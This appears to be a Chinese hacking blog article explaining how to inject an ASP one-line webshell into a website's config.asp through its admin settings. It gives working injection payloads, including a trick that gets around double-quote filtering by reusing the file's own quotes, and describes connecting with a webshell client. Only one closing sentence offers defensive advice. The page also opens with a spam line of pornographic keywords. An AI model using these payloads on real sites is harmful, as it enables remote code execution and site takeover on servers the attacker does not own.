亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

淺說雙引號被過濾時(shí)一句話的插入與防范

  發(fā)布時(shí)間:2011-04-01 23:40:07   作者:佚名   我要評論
昨日小刀刀在群里拋了一個(gè)問題,說后臺插入一句話老是出錯(cuò),群里的朋友出了很多主意,但是最后還是沒搞定。后來這小子把問題拋給了我,昨天我就測試了一下。這里把情況介紹給大家。
一般而言,后臺插一句話,如果數(shù)據(jù)庫擴(kuò)展名是asp的話,那么插數(shù)據(jù)庫,但是如果有配置文件可以插的話,那肯定是插入配置文件了,但是插入配置文件有一個(gè)很大的風(fēng)險(xiǎn),那就是一旦出錯(cuò)那么全盤皆輸,有可能不僅僅造成后臺無法登陸,甚至有可能是整個(gè)網(wǎng)站系統(tǒng)崩潰,所以插入配置文件,請慎之又慎。

話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個(gè)文件的一般情況。

網(wǎng)站的配置一般是保存網(wǎng)站名,地址,email之類的,既然是字符,那么格式應(yīng)當(dāng)是
webname=“test website”

對于這樣的配置插入一句話的話,我們的機(jī)會就是替換test website,那么需要閉合2個(gè)",同時(shí)要插入一句話,語句可以這樣

"%><%eval request("d"%><%s="

那么在config.asp中就是

webname=“    "%><%eval request("d"%><%s="          ”


第一個(gè)"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來的"和%>

所以加入<%s=",這里特別要注意“s=”,如果沒有這個(gè)等號的話,那么就會成<%" ",這樣必將出錯(cuò)。

好了,這是常規(guī)的辦法,現(xiàn)在我們回到開始那個(gè)問題,按照前面的方法插入


插入后,我們再點(diǎn)擊“網(wǎng)站設(shè)置” ,出現(xiàn)錯(cuò)誤



從這個(gè)錯(cuò)誤,我們可以得到2個(gè)信息。

第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp

第二,網(wǎng)站名的變量為webname。


昨天由于很晚了,就沒繼續(xù)看,今天出差,晚上回來剛剛上Q,小刀刀就q我,說拿下了,并說這個(gè)后臺過濾了雙引號",結(jié)合昨天的錯(cuò)誤一看果然是,由于我們閉合前面雙引號起"的那個(gè)雙引號收"被過濾成單引號',所以就成了webname=" ',這樣的話那么這個(gè)雙引號沒有閉合,由于雙引號是vbscript的控制符,沒有閉合config.asp運(yùn)行必然出錯(cuò)。那么我們遇到這種雙引號被過濾了的情況改怎么辦呢。

由于插入一句話必須要用雙引號括起來,而輸入雙引號又被過濾,所以我們可以利用他們自身的雙引號來解決。

在配置文件中,我們還可以看到這樣一些設(shè)置




就是配置網(wǎng)站的公告數(shù) ,文章數(shù)等。可以假設(shè)一下,他必然是整數(shù)賦值,沒有雙引號包括
num=5
num是整數(shù)型,不然就成字符了num="5"

那么我們的一句話就可以這樣構(gòu)建,如圖



在公告數(shù)中我們插入5%><%eval request(webname)%><%

必須要有5,不然將會出錯(cuò),在網(wǎng)站名中我們插入"open"

由于我們沒有輸入雙引號,不存在過濾,我們利用 配置文件本身的雙引號來達(dá)到目的。那么配置文件現(xiàn)在的內(nèi)容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>

我們的一句話就相應(yīng)為
eval request("open"),open為密碼。

用菜刀成功連接


從上可見,我們成功利用配置文件本身避開了一句話中雙引號被過濾的問題。

那么在網(wǎng)頁設(shè)計(jì)方面,我們可以增加過濾<,%,>或者組合<%,%>這些特殊符號,禁止這些符號的輸入,那么將大大增加網(wǎng)頁安全。

by daokers  2010.4.28深夜于Canton

相關(guān)文章

最新評論